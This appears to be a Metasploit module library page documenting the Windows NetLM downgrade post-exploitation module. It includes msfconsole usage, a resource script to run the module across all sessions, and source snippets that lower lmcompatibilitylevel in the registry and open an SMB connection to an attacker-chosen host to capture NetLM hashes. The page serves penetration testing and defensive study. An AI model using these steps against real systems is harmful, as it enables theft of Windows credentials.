Windows NetLM Downgrade Attack - Metasploit


This page contains detailed information about how to use the post/windows/gather/netlm_downgrade metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows NetLM Downgrade Attack
Module: post/windows/gather/netlm_downgrade
Source code: modules/post/windows/gather/netlm_downgrade.rb
Disclosure date: -
Last modification time: 2020-01-28 20:35:57 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will change a registry value to enable the sending of LM challenge hashes and then initiate a SMB connection to the SMBHOST datastore. If an SMB server is listening, it will receive the NetLM hashes

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/netlm_downgrade

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/netlm_downgrade
msf post(netlm_downgrade) > show options
    ... show and set options ...
msf post(netlm_downgrade) > set SESSION session-id
msf post(netlm_downgrade) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/netlm_downgrade")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

  • SMBHOST: IP Address where SMB host is listening to capture hashes.

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Msfconsole Usage

Here is how the windows/gather/netlm_downgrade post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/netlm_downgrade

msf6 post(windows/gather/netlm_downgrade) > show info

       Name: Windows NetLM Downgrade Attack
     Module: post/windows/gather/netlm_downgrade
   Platform: 
       Arch: 
       Rank: Normal

Provided by:
  Brandon McCann "zeknox" <[email protected]>
  Thomas McCarthy "smilingraccoon" <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  SMBHOST                   yes       IP Address where SMB host is listening to capture hashes.

Description:
  This module will change a registry value to enable the sending of LM 
  challenge hashes and then initiate a SMB connection to the SMBHOST 
  datastore. If an SMB server is listening, it will receive the NetLM 
  hashes

References:
  https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks

Module Options

This is a complete list of options available in the windows/gather/netlm_downgrade post exploitation module:

msf6 post(windows/gather/netlm_downgrade) > show options

Module options (post/windows/gather/netlm_downgrade):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   SMBHOST                   yes       IP Address where SMB host is listening to capture hashes.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/netlm_downgrade post exploitation module:

msf6 post(windows/gather/netlm_downgrade) > show advanced

Module advanced options (post/windows/gather/netlm_downgrade):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/netlm_downgrade module can do:

msf6 post(windows/gather/netlm_downgrade) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/netlm_downgrade post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/netlm_downgrade) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Issues establishing SMB connection

Here is a relevant code snippet related to the "Issues establishing SMB connection" error message:

40:	    begin
41:	      print_status("Establishing SMB connection to " + datastore['SMBHOST'])
42:	      cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
43:	      print_good("The SMBHOST should now have NetLM hashes")
44:	    rescue
45:	      print_error("Issues establishing SMB connection")
46:	    end
47:	  end
48:	
49:	  # if netlm is disabled, enable it in the registry
50:	  def run

Running as SYSTEM, should be run as valid USER

Here is a relevant code snippet related to the "Running as SYSTEM, should be run as valid USER" error message:

49:	  # if netlm is disabled, enable it in the registry
50:	  def run
51:	    # if running as SYSTEM exit
52:	    if is_system?
53:	      # running as SYSTEM and will not pass any network credentials
54:	      print_error "Running as SYSTEM, should be run as valid USER"
55:	      return
56:	    end
57:	
58:	    subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
59:	    v_name = "lmcompatibilitylevel"

Issues enumerating registry values

Here is a relevant code snippet related to the "Issues enumerating registry values" error message:

57:	
58:	    subkey = "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"
59:	    v_name = "lmcompatibilitylevel"
60:	    netlm = registry_getvaldata(subkey, v_name)
61:	    if netlm.nil?
62:	      print_error("Issues enumerating registry values")
63:	      return
64:	    end
65:	
66:	    if netlm == 0
67:	      print_status("NetLM is already enabled on this system")

Issues modifying registry value

Here is a relevant code snippet related to the "Issues modifying registry value" error message:

71:	    else
72:	
73:	      print_status("NetLM is Disabled: #{subkey}#{v_name} == #{netlm.to_s}")
74:	      v = registry_setvaldata(subkey,v_name,0,"REG_DWORD")
75:	      if v.nil?
76:	        print_error("Issues modifying registry value")
77:	        return
78:	      end
79:	
80:	      post_netlm = registry_getvaldata(subkey, v_name)
81:	      if post_netlm.nil?

Issues enumerating registry values

Here is a relevant code snippet related to the "Issues enumerating registry values" error message:

77:	        return
78:	      end
79:	
80:	      post_netlm = registry_getvaldata(subkey, v_name)
81:	      if post_netlm.nil?
82:	        print_error("Issues enumerating registry values")
83:	        return
84:	      end
85:	
86:	      print_good("NetLM is Enabled:  #{subkey}#{v_name} == #{post_netlm.to_s}")
87:

Issues cleaning up registry changes

Here is a relevant code snippet related to the "Issues cleaning up registry changes" error message:

91:	      # cleanup the registry
92:	      v = registry_setvaldata(subkey,v_name,netlm,"REG_DWORD")
93:	      if v
94:	        print_status("Cleanup Completed: #{subkey}#{v_name} == #{netlm.to_s}")
95:	      else
96:	        print_error("Issues cleaning up registry changes")
97:	        return
98:	      end
99:	
100:	    end
101:	  end

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References

See Also

Check also the following modules related to this module:

Authors

  • Brandon McCann "zeknox" <bmccann[at]accuvant.com>
  • Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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